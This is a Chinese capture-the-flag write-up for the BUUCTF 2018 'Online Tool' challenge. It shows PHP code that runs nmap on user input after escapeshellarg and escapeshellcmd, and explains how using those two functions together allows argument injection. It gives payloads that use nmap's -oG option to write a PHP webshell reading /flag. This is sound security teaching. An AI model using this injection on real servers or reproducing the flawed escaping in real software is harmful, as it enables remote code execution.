[BUUCTF 2018]Online Tool
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php if (isset( $_SERVER [ 'HTTP_X_FORWARDED_FOR' ])) { $_SERVER [ 'REMOTE_ADDR' ] = $_SERVER [ 'HTTP_X_FORWARDED_FOR' ]; } if (!isset( $_GET [ 'host' ])) { highlight_file( __FILE__ ); } else { $host = $_GET [ 'host' ]; $host = escapeshellarg ( $host ); //escapeshellarg //1,确保用户值传递一个参数给命令 //2,用户不能指定更多的参数 //3,用户不能执行不同的命令 $host = escapeshellcmd ( $host ); //escapeshellcmd //1,确保用户只执行一个命令 //2,用户可以指定不限数量的参数 //3,用户不能执行不同的命令 $sandbox = md5( "glzjin" . $_SERVER [ 'REMOTE_ADDR' ]); echo 'you are in sandbox ' . $sandbox ; @ mkdir ( $sandbox ); chdir ( $sandbox ); echo system( "nmap -T5 -sT -Pn --host-timeout 2 -F " . $host ); |
进入环境之后是一段PHP代码
可以看到我们GET方法传递参数值给变量host,通过了两个函数过滤之后,使用system系统命令执行nmap
所以我们需要构造能够得到flag的host语句。
escapeshellarg 和 escapeshellcmd 两个函数在代码的注释里面已经解释了其用法。
也就是说在host变量里面我们不能使用 ; & | 等符号来执行多条命令,不过题目里面提示了我们RCE,同时对于这两个函数简单查找了之后,发现两个一起使用的时候存在漏洞
漏洞解释链接如下:
简单来说
1 2 3 4 | 传入的参数是: 172.17 . 0.2 ' - v - d a = 1 经过escapeshellarg处理后变成了 '172.17.0.2' \' ' -v -d a=1' ,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成 '172.17.0.2' \\' ' -v -d a=1\' ,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http: / / php.net / manual / zh / function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2' \\' ' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的' 没有被转义,与再后面的 '配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1' ,即向 172.17 . 0.2 \发起请求,POST 数据为a = 1 '。 |
所以经过我们构造之后,输入的值被分割成为了三部分,第一部分就是curl的IP,为172.17.0.2\ ,第二部分就是两个配对的单引号 ' ' ,第三部分就是命令参数以及对象 -v -d a=1'
于是我们可以参数绕过这两个过滤函数。
同时,为了构造命令读取flag,我们应当从nmap入手,查资料可以知道,nmap有一个参数-oG可以实现将命令和结果写到文件
所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
构造的payload为:
1 | ?host = ' <?php echo phpinfo();?> -oG test.php ' |
这里查看phpinfo()
进一步查看flag,因为单引号被过滤了,我们使用反引号cat /flag
1 | ?host = ' <?php echo `cat /flag`;?> -oG test.php ' |
读取访问即可
得到flag
参考链接:
https://althims.com/2019/07/25/buu-online-tool-wp/
https://blog.csdn.net/qq_26406447/article/details/100711933
https://blog.csdn.net/weixin_44077544/article/details/102835099
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12192230.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!